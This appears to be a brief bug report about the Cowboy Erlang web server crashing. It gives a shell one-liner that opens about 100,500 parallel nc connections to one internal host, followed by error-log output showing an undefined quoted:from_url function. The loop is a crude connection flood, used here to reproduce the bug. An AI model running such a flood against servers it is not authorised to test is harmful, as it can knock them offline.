Got cowboy crashed with this script:

```for a in `seq 1 100500`; do ( (echo "GET / HTTP/1.1"|nc 10.1.3.251 8081 2>/dev/null 1>>/root/log) & ) ;done```

Logs are full of errors like

```=ERROR REPORT==== 11-Nov-2011::18:48:47 ===
Error in process <0.434.0> on node 'yawndb@127.0.0.1' with exit value: {undef,[{quoted,from_url,[<<6 bytes>>]},{cowboy_dispatcher,'-do_split_path/2-lc$^0/1-0-',1},{cowboy_dispatcher,split_path,1},{cowboy_http_protocol,request,2}]}```
